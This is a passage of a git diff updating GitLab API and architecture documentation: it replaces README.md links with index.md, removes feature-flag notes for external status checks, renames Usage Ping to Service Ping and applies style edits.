-> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-status-checks). **(ULTIMATE SELF)**
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 14.0, disabled behind the `:ff_external_status_checks` feature flag.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/320783) in GitLab 14.1.
## List status checks for a merge request
@@ -58,22 +52,16 @@ POST /projects/:id/merge_requests/:merge_request_iid/status_check_responses
**Parameters:**
-| Attribute | Type | Required | Description |
-| ------------------------ | ------- | -------- | -------------------------------------- |
-| `id` | integer | yes | ID of a project |
-| `merge_request_iid` | integer | yes | IID of a merge request |
-| `sha` | string | yes | SHA at `HEAD` of the source branch |
+| Attribute | Type | Required | Description |
+| -------------------------- | ------- | -------- | ------------------------------------- |
+| `id` | integer | yes | ID of a project |
+| `merge_request_iid` | integer | yes | IID of a merge request |
+| `sha` | string | yes | SHA at `HEAD` of the source branch |
+| `external_status_check_id` | integer | yes | ID of an external status check |
NOTE:
`sha` must be the SHA at the `HEAD` of the merge request's source branch.
-## Enable or disable status checks **(ULTIMATE SELF)**
-
-Status checks are under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
-can enable it.
-
## Get project external status checks **(ULTIMATE)**
You can request information about a project's external status checks using the following endpoint:
@@ -86,7 +74,7 @@ GET /projects/:id/external_status_checks
| Attribute | Type | Required | Description |
|---------------------|---------|----------|---------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer | yes | ID of a project |
```json
[
@@ -109,7 +97,7 @@ GET /projects/:id/external_status_checks
]
```
-### Create external status check **(ULTIMATE)**
+## Create external status check **(ULTIMATE)**
You can create a new external status check for a project using the following endpoint:
@@ -117,14 +105,18 @@ You can create a new external status check for a project using the following end
POST /projects/:id/external_status_checks
```
-| Attribute | Type | Required | Description |
-|------------------------|----------------|----------|----------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
-| `name` | string | yes | Display name of status check |
-| `external_url` | string | yes | URL of status check resource |
-| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by |
+WARNING:
+External status checks send information about all applicable merge requests to the
+defined external service. This includes confidential merge requests.
+
+| Attribute | Type | Required | Description |
+|------------------------|------------------|----------|------------------------------------------------|
+| `id` | integer | yes | ID of a project |
+| `name` | string | yes | Display name of status check |
+| `external_url` | string | yes | URL of status check resource |
+| `protected_branch_ids` | `array<Integer>` | no | IDs of protected branches to scope the rule by |
-### Delete external status check **(ULTIMATE)**
+## Delete external status check **(ULTIMATE)**
You can delete an external status check for a project using the following endpoint:
@@ -132,12 +124,12 @@ You can delete an external status check for a project using the following endpoi
DELETE /projects/:id/external_status_checks/:check_id
```
-| Attribute | Type | Required | Description |
-|------------------------|----------------|----------|----------------------------------------------------|
-| `rule_id` | integer | yes | The ID of an status check |
-| `id` | integer | yes | The ID of a project |
+| Attribute | Type | Required | Description |
+|------------------------|----------------|----------|-----------------------|
+| `rule_id` | integer | yes | ID of an status check |
+| `id` | integer | yes | ID of a project |
-### Update external status check **(ULTIMATE)**
+## Update external status check **(ULTIMATE)**
You can update an existing external status check for a project using the following endpoint:
@@ -145,57 +137,14 @@ You can update an existing external status check for a project using the followi
PUT /projects/:id/external_status_checks/:check_id
```
-| Attribute | Type | Required | Description |
-|------------------------|----------------|----------|----------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
-| `rule_id` | integer | yes | The ID of an external status check |
-| `name` | string | no | Display name of status check |
-| `external_url` | string | no | URL of external status check resource |
-| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by |
-
-### Enable or disable External Project-level MR status checks **(ULTIMATE SELF)**
-
-Enable or disable External Project-level MR status checks is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../user/feature_flags.md)
-can enable it.
-
-To enable it:
-
-```ruby
-# For the instance
-Feature.enable(:ff_compliance_approval_gates)
-# For a single project
-Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>))
-```
-
-To disable it:
-
-```ruby
-# For the instance
-Feature.disable(:ff_compliance_approval_gates)
-# For a single project
-Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>))
-```
-
-To enable it:
-
-```ruby
-# For the instance
-Feature.enable(:ff_compliance_approval_gates)
-# For a single project
-Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>))
-```
-
-To disable it:
-
-```ruby
-# For the instance
-Feature.disable(:ff_compliance_approval_gates)
-# For a single project
-Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>)
-```
+| Attribute | Type | Required | Description |
+|------------------------|------------------|----------|------------------------------------------------|
+| `id` | integer | yes | ID of a project |
+| `rule_id` | integer | yes | ID of an external status check |
+| `name` | string | no | Display name of status check |
+| `external_url` | string | no | URL of external status check resource |
+| `protected_branch_ids` | `array<Integer>` | no | IDs of protected branches to scope the rule by |
## Related links
-- [External status checks](../user/project/merge_requests/status_checks.md)
+- [External status checks](../user/project/merge_requests/status_checks.md).
diff --git a/doc/api/tags.md b/doc/api/tags.md
index 53a981256aa..bbde6c1491b 100644
--- a/doc/api/tags.md
+++ b/doc/api/tags.md
@@ -21,7 +21,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string| yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user|
+| `id` | integer/string| yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user|
| `order_by` | string | no | Return tags ordered by `name` or `updated` fields. Default is `updated` |
| `sort` | string | no | Return tags sorted in `asc` or `desc` order. Default is `desc` |
| `search` | string | no | Return list of tags matching the search criteria. You can use `^term` and `term$` to find tags that begin and end with `term` respectively. |
@@ -72,7 +72,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `tag_name` | string | yes | The name of the tag |
```shell
@@ -119,7 +119,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `tag_name` | string | yes | The name of a tag |
| `ref` | string | yes | Create tag using commit SHA, another tag name, or branch name |
| `message` | string | no | Creates annotated tag |
@@ -176,5 +176,5 @@ Parameters:
| Attribute | Type | Required | Description |
| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `tag_name` | string | yes | The name of a tag |
diff --git a/doc/api/templates/gitlab_ci_ymls.md b/doc/api/templates/gitlab_ci_ymls.md
index 388556d354f..82abe598cf6 100644
--- a/doc/api/templates/gitlab_ci_ymls.md
+++ b/doc/api/templates/gitlab_ci_ymls.md
@@ -9,7 +9,7 @@ type: reference
In GitLab, there is an API endpoint available to work with GitLab CI/CD YMLs. For more
information on CI/CD pipeline configuration in GitLab, see the
-[configuration reference documentation](../../ci/yaml/README.md).
+[configuration reference documentation](../../ci/yaml/index.md).
## List GitLab CI YAML templates
diff --git a/doc/api/todos.md b/doc/api/todos.md
index 69c0f760a29..737bfb11da9 100644
--- a/doc/api/todos.md
+++ b/doc/api/todos.md
@@ -4,13 +4,13 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# To dos API
+# GitLab To-Do List API **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3188) in GitLab 8.10.
+Interact with [to-do items](../user/todos.md) using the REST API.
-## Get a list of to dos
+## Get a list of to-do items
-Returns a list of [to-do items](../user/todos.md). When no filter is applied, it
+Returns a list of to-do items. When no filter is applied, it
returns all pending to-do items for the current user. Different filters allow the
user to refine the request.
@@ -26,7 +26,7 @@ Parameters:
| `author_id` | integer | no | The ID of an author |
| `project_id` | integer | no | The ID of a project |
| `group_id` | integer | no | The ID of a group |
-| `state` | string | no | The state of the to do. Can be either `pending` or `done` |
+| `state` | string | no | The state of the to-do item. Can be either `pending` or `done` |
| `type` | string | no | The type of to-do item. Can be either `Issue`, `MergeRequest`, `DesignManagement::Design` or `AlertManagement::Alert` |
```shell
@@ -190,8 +190,8 @@ Example Response:
## Mark a to-do item as done
-Marks a single pending to do given by its ID for the current user as done. The
-to do marked as done is returned in the response.
+Marks a single pending to-do item given by its ID for the current user as done. The
+to-do item marked as done is returned in the response.
```plaintext
POST /todos/:id/mark_as_done
@@ -287,9 +287,9 @@ Example Response:
}
```
-## Mark all to dos as done
+## Mark all to-do items as done
-Marks all pending to dos for the current user as done. It returns the HTTP status code `204` with an empty response.
+Marks all pending to-do items for the current user as done. It returns the HTTP status code `204` with an empty response.
```plaintext
POST /todos/mark_as_done
diff --git a/doc/api/usage_data.md b/doc/api/usage_data.md
index 024caa96565..7a7f36ce43a 100644
--- a/doc/api/usage_data.md
+++ b/doc/api/usage_data.md
@@ -5,9 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference, api
---
-# Usage Data API **(FREE SELF)**
+# Service Data API **(FREE SELF)**
-The Usage Data API is associated with [Usage Ping](../development/usage_ping/index.md).
+The Service Data API is associated with [Service Ping](../development/service_ping/index.md).
## Export metric definitions as a single YAML file
@@ -48,14 +48,14 @@ Example response:
...
```
-## Export Usage Ping SQL queries
+## Export Service Ping SQL queries
This action is available only for the GitLab instance [Administrator](../user/permissions.md) users.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57016) in GitLab 13.11.
> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
-Return all of the raw SQL queries used to compute Usage Ping.
+Return all of the raw SQL queries used to compute Service Ping.
```plaintext
GET /usage_data/queries
@@ -116,7 +116,7 @@ Example response:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57050) in GitLab 13.11.
> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
-Return all non-SQL metrics data used in the usage ping.
+Return all non-SQL metrics data used in the Service ping.
Example request:
diff --git a/doc/api/users.md b/doc/api/users.md
index 0e7b197b106..0d922487cf9 100644
--- a/doc/api/users.md
+++ b/doc/api/users.md
@@ -1352,7 +1352,7 @@ Parameters:
- `id` (required) - ID of specified user
- `email` (required) - email address
-- `skip_confirmation` (optional) - Skip confirmation and assume e-mail is verified - true or false (default)
+- `skip_confirmation` (optional) - Skip confirmation and assume email is verified - true or false (default)
## Delete email for current user
diff --git a/doc/api/v3_to_v4.md b/doc/api/v3_to_v4.md
index c6d883371a3..69e1ea56c2c 100644
--- a/doc/api/v3_to_v4.md
+++ b/doc/api/v3_to_v4.md
@@ -9,10 +9,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
The GitLab API v3 was removed in [GitLab 11.0](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/36819).
-For information about the current version of the GitLab API, read the [API documentation](README.md).
+For information about the current version of the GitLab API, read the [API documentation](index.md).
## Related links
-- [GitLab v3 API documentation](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-16-stable/doc/api/README.md)
+- [GitLab v3 API documentation](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-16-stable/doc/api/index.md)
- [Migration guide](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md) from
v3 to v4
diff --git a/doc/api/visual_review_discussions.md b/doc/api/visual_review_discussions.md
index c3414a4e9ec..8457f63fd38 100644
--- a/doc/api/visual_review_discussions.md
+++ b/doc/api/visual_review_discussions.md
@@ -26,7 +26,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `body` | string | yes | The content of the thread |
| `position` | hash | no | Position when creating a diff note |
diff --git a/doc/api/vulnerabilities.md b/doc/api/vulnerabilities.md
index 5ec769df08c..b18a837de26 100644
--- a/doc/api/vulnerabilities.md
+++ b/doc/api/vulnerabilities.md
@@ -21,7 +21,7 @@ across GitLab releases. Please use the
[GraphQL API](graphql/reference/index.md#queryvulnerabilities)
instead.
-Every API call to vulnerabilities must be [authenticated](README.md#authentication).
+Every API call to vulnerabilities must be [authenticated](index.md#authentication).
Vulnerability permissions inherit permissions from their project. If a project is
private, and a user isn't a member of the project to which the vulnerability
diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md
index 6d01d7e7d96..4240d363ff0 100644
--- a/doc/api/vulnerability_exports.md
+++ b/doc/api/vulnerability_exports.md
@@ -13,7 +13,7 @@ This API is in an alpha stage and considered unstable.
The response payload may be subject to change or breakage
across GitLab releases.
-Every API call to vulnerability exports must be [authenticated](README.md#authentication).
+Every API call to vulnerability exports must be [authenticated](index.md#authentication).
## Create a project-level vulnerability export
@@ -34,7 +34,7 @@ POST /security/projects/:id/vulnerability_exports
| Attribute | Type | Required | Description |
| ------------------- | ----------------- | ---------- | -----------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project which the authenticated user is a member of |
+| `id` | integer or string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project which the authenticated user is a member of |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/projects/1/vulnerability_exports"
@@ -80,7 +80,7 @@ POST /security/groups/:id/vulnerability_exports
| Attribute | Type | Required | Description |
| ------------------- | ----------------- | ---------- | -----------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the group which the authenticated user is a member of |
+| `id` | integer or string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the group which the authenticated user is a member of |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/groups/1/vulnerability_exports"
diff --git a/doc/api/vulnerability_findings.md b/doc/api/vulnerability_findings.md
index b4791ee8365..c7f045a67a0 100644
--- a/doc/api/vulnerability_findings.md
+++ b/doc/api/vulnerability_findings.md
@@ -14,7 +14,7 @@ for serving [Vulnerability objects](https://gitlab.com/gitlab-org/gitlab/-/issue
To fix any broken integrations with the former Vulnerabilities API, change the `vulnerabilities` URL part to be
`vulnerability_findings`.
-Every API call to vulnerability findings must be [authenticated](README.md#authentication).
+Every API call to vulnerability findings must be [authenticated](index.md#authentication).
Vulnerability findings are project-bound entities. If a user is not
a member of a project and the project is private, a request on
@@ -34,7 +34,7 @@ across GitLab releases.
By default, `GET` requests return 20 results at a time because the API results
are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
## List project vulnerability findings
@@ -57,7 +57,7 @@ Beginning with GitLab 12.9, the `undefined` severity and confidence level is no
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) which the authenticated user is a member of. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) which the authenticated user is a member of. |
| `report_type` | string array | no | Returns vulnerability findings belonging to specified report type. Valid values: `sast`, `dast`, `dependency_scanning`, or `container_scanning`. Defaults to all. |
| `scope` | string | no | Returns vulnerability findings for the given scope: `all` or `dismissed`. Defaults to `dismissed`. |
| `severity` | string array | no | Returns vulnerability findings belonging to specified severity level: `info`, `unknown`, `low`, `medium`, `high`, or `critical`. Defaults to all. |
diff --git a/doc/api/wikis.md b/doc/api/wikis.md
index d6cc6f938b8..8f71097aa0f 100644
--- a/doc/api/wikis.md
+++ b/doc/api/wikis.md
@@ -22,7 +22,7 @@ GET /projects/:id/wikis
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `with_content` | boolean | no | Include pages' content |
```shell
@@ -63,7 +63,7 @@ GET /projects/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `slug` | string | yes | URLencoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` |
```shell
@@ -91,7 +91,7 @@ POST /projects/:id/wikis
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `content` | string | yes | The content of the wiki page |
| `title` | string | yes | The title of the wiki page |
| `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` |
@@ -122,7 +122,7 @@ PUT /projects/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------------- | ------- | --------------------------------- | ------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `content` | string | yes if `title` is not provided | The content of the wiki page |
| `title` | string | yes if `content` is not provided | The title of the wiki page |
| `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` |
@@ -154,7 +154,7 @@ DELETE /projects/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` |
```shell
@@ -174,7 +174,7 @@ POST /projects/:id/wikis/attachments
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `file` | string | yes | The attachment to be uploaded |
| `branch` | string | no | The name of the branch. Defaults to the wiki repository default branch |
diff --git a/doc/architecture/blueprints/container_registry_metadata_database/index.md b/doc/architecture/blueprints/container_registry_metadata_database/index.md
index 403a1a1130a..b71517de061 100644
--- a/doc/architecture/blueprints/container_registry_metadata_database/index.md
+++ b/doc/architecture/blueprints/container_registry_metadata_database/index.md
@@ -26,7 +26,7 @@ graph LR
R -- Write/read metadata --> B
```
-Client applications (e.g. GitLab Rails and Docker CLI) interact with the Container Registry through its [HTTP API](https://gitlab.com/gitlab-org/container-registry/-/blob/master/docs/spec/api.md). The most common operations are pushing and pulling images to/from the registry, which require a series of HTTP requests in a specific order. The request flow for these operations is detailed in the [Request flow](https://gitlab.com/gitlab-org/container-registry/-/blob/master/docs-gitlab/push-pull-request-flow.md).
+Client applications (for example, GitLab Rails and Docker CLI) interact with the Container Registry through its [HTTP API](https://gitlab.com/gitlab-org/container-registry/-/blob/master/docs/spec/api.md). The most common operations are pushing and pulling images to/from the registry, which require a series of HTTP requests in a specific order. The request flow for these operations is detailed in the [Request flow](https://gitlab.com/gitlab-org/container-registry/-/blob/master/docs-gitlab/push-pull-request-flow.md).
The registry supports multiple [storage backends](https://gitlab.com/gitlab-org/container-registry/-/blob/master/docs/configuration.md#storage), including Google Cloud Storage (GCS) which is used for the GitLab.com registry. In the storage backend, images are stored as blobs, deduplicated, and shared across repositories. These are then linked (like a symlink) to each repository that relies on them, giving them access to the central storage location.
@@ -54,7 +54,7 @@ sequenceDiagram
C->>R: docker login gitlab.example.com
R->>C: 401 Unauthorized
- Note left of R: The response includes the realm (e.g., https://gitlab.example.com/jwt/auth)<br> from where a token should be obtained
+ Note left of R: The response includes the realm (for example, https://gitlab.example.com/jwt/auth)<br> from where a token should be obtained
C->>G: Obtain Bearer token
G->>C: 200 OK
C-->>R: Push/pull requests
diff --git a/doc/architecture/blueprints/database_testing/index.md b/doc/architecture/blueprints/database_testing/index.md
index 162b112732c..fb52f6cc7d3 100644
--- a/doc/architecture/blueprints/database_testing/index.md
+++ b/doc/architecture/blueprints/database_testing/index.md
@@ -97,11 +97,11 @@ The short-term goal is detailed in [this epic](https://gitlab.com/groups/gitlab-
### Mid-term - Improved feedback, query testing and background migration testing
-Mid-term, we plan to expand the level of detail the testing pipeline reports back to the Merge Request and expand its scope to cover query testing, too. By doing so, we use our experience from database code reviews and using thin-clone technology and bring this back closer to the GitLab workflow. Instead of reaching out to different tools (`postgres.ai`, `joe`, Slack, plan visualizations etc.) we bring this back to GitLab and working directly on the Merge Request.
+Mid-term, we plan to expand the level of detail the testing pipeline reports back to the Merge Request and expand its scope to cover query testing, too. By doing so, we use our experience from database code reviews and using thin-clone technology and bring this back closer to the GitLab workflow. Instead of reaching out to different tools (`postgres.ai`, `joe`, Slack, plan visualizations, and so on) we bring this back to GitLab and working directly on the Merge Request.
Secondly, we plan to cover background migrations testing, too. These are typically data migrations that are scheduled to run over a long period of time. The success of both the scheduling phase and the job execution phase typically depends a lot on data distribution - which only surfaces when running these migrations on actual production data. In order to become confident about a background migration, we plan to provide the following feedback:
-1. Scheduling phase - query statistics (for example a histogram of query execution times), job statistics (how many jobs, overall duration etc.), batch sizes.
+1. Scheduling phase - query statistics (for example a histogram of query execution times), job statistics (how many jobs, overall duration, and so on), batch sizes.
1. Execution phase - using a few instances of a job as examples, we execute those to gather query and runtime statistics.
### Long-term - incorporate into GitLab product
@@ -114,7 +114,7 @@ At the core of this problem lies the concern about executing (potentially arbitr
An alternative approach we have discussed and abandoned is to "scrub" and anonymize production data. The idea is to remove any sensitive data from the database and use the resulting dataset for database testing. This has a lot of downsides which led us to abandon the idea:
-- Anonymization is complex by nature - it is a hard problem to call a "scrubbed clone" actually safe to work with in public. Different data types may require different anonymization techniques (e.g. anonymizing sensitive information inside a JSON field) and only focusing on one attribute at a time does not guarantee that a dataset is fully anonymized (for example join attacks or using timestamps in conjunction to public profiles/projects to de-anonymize users by there activity).
+- Anonymization is complex by nature - it is a hard problem to call a "scrubbed clone" actually safe to work with in public. Different data types may require different anonymization techniques (for example, anonymizing sensitive information inside a JSON field) and only focusing on one attribute at a time does not guarantee that a dataset is fully anonymized (for example join attacks or using timestamps in conjunction to public profiles/projects to de-anonymize users by there activity).
- Anonymization requires an additional process to keep track and update the set of attributes considered as sensitive, ongoing maintenance and security reviews every time the database schema changes.
- Annotating data as "sensitive" is error prone, with the wrong anonymization approach used for a data type or one sensitive attribute accidentally not marked as such possibly leading to a data breach.
- Scrubbing not only removes sensitive data, but it also changes data distribution, which greatly affects performance of migrations and queries.
diff --git a/doc/architecture/blueprints/graphql_api/index.md b/doc/architecture/blueprints/graphql_api/index.md
index b856f7d96ad..b3ba1ad1960 100644
--- a/doc/architecture/blueprints/graphql_api/index.md
+++ b/doc/architecture/blueprints/graphql_api/index.md
@@ -95,7 +95,7 @@ notify users that we plan to remove them.
- Define a data-informed deprecation policy that will serve our users better
- Build a dashboard showing usage frequency of deprecated GraphQL fields
-- Build mechanisms required to send deprecated fields usage in usage ping
+- Build mechanisms required to send deprecated fields usage in Service Ping
### Ensure consistency with the rest of the codebase
diff --git a/doc/architecture/blueprints/image_resizing/index.md b/doc/architecture/blueprints/image_resizing/index.md
index 26c15d7a035..f2fd7543b90 100644
--- a/doc/architecture/blueprints/image_resizing/index.md
+++ b/doc/architecture/blueprints/image_resizing/index.md
@@ -39,7 +39,7 @@ Content image resizing is a more complex problem to tackle. There are no set siz
- Extract first image of GIF's so we can prevent from loading 10MB pixels
- Check Device Pixel Ratio to deliver nice images on High DPI screens
- Progressive image loading, similar to what is described in [this article about how to build a progressive image loader](https://www.sitepoint.com/how-to-build-your-own-progressive-image-loader/)
-- Resizing recommendations (size, clarity, etc.)
+- Resizing recommendations (size, clarity, and so on)
- Storage
The MVC Avatar resizing implementation is integrated into Workhorse. With the extra requirements for content image resizing, this may require further use of GraphicsMagik (GM) or a similar library and breaking it out of Workhorse.
diff --git a/doc/ci/README.md b/doc/ci/README.md
index dc4312250ca..5ab8653dc35 100644
--- a/doc/ci/README.md
+++ b/doc/ci/README.md
@@ -1,186 +1,8 @@
---
-stage: Verify
-group: Pipeline Execution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-comments: false
-description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application."
-type: index
+redirect_to: 'index.md'
---
-# GitLab CI/CD **(FREE)**
+This document was moved to [another location](index.md).
-GitLab CI/CD is a tool built into GitLab for software development
-through the [continuous methodologies](introduction/index.md):
-
-- Continuous Integration (CI)
-- Continuous Delivery (CD)
-- Continuous Deployment (CD)
-
-NOTE:
-Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more.
-Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/)
-webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development.
-
-Continuous Integration works by pushing small code chunks to your
-application's codebase hosted in a Git repository, and to every
-push, run a pipeline of scripts to build, test, and validate the
-code changes before merging them into the main branch.
-
-Continuous Delivery and Deployment consist of a step further CI,
-deploying your application to production at every
-push to the default branch of the repository.
-
-These methodologies allow you to catch bugs and errors early in
-the development cycle, ensuring that all the code deployed to
-production complies with the code standards you established for
-your app.
-
-GitLab can also automatically detect, build, test, deploy, and
-monitor your applications by using [Auto DevOps](../topics/autodevops/index.md).
-
-For a complete overview of these methodologies and GitLab CI/CD,
-read the [Introduction to CI/CD with GitLab](introduction/index.md).
-
-<div class="video-fallback">
- Video demonstration of GitLab CI/CD: <a href="https://www.youtube.com/watch?v=1iXFbchozdY">Demo: CI/CD with GitLab</a>.
-</div>
-<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/1iXFbchozdY" frameborder="0" allowfullscreen="true"> </iframe>
-</figure>
-
-## Concepts
-
-GitLab CI/CD uses a number of concepts to describe and run your build and deploy.
-
-| Concept | Description |
-|:--------------------------------------------------------|:-------------------------------------------------------------------------------|
-| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. |
-| [CI/CD variables](variables/README.md) | Reuse values based on a variable/value key pair. |
-| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). |
-| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. |
-| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. |
-| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. |
-| [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. |
-| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. <!--- this seems to be a duplicate description ---> |
-
-## Configuration
-
-GitLab CI/CD supports numerous configuration options:
-
-| Configuration | Description |
-|:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------|
-| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. |
-| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-cicd-configuration-file) | Define a custom path for the CI/CD configuration file. |
-| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. |
-| [SSH keys for CI/CD](ssh_keys/index.md) | Using SSH keys in your CI pipelines. |
-| [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. |
-| [Pipelines for Merge Requests](merge_request_pipelines/index.md) | Design a pipeline structure for running a pipeline in merge requests. |
-| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. |
-| [Optimize GitLab and GitLab Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. |
-| [`.gitlab-ci.yml` full reference](yaml/README.md) | All the attributes you can use with GitLab CI/CD. |
-
-Note that certain operations can only be performed according to the
-[user](../user/permissions.md#gitlab-cicd-permissions) and [job](../user/permissions.md#job-permissions) permissions.
-
-## Feature set
-
-Use the vast GitLab CI/CD to easily configure it for specific purposes.
-Its feature set is listed on the table below according to DevOps stages.
-
-| Feature | Description |
-|:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------|
-| **Configure** | |
-| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. |
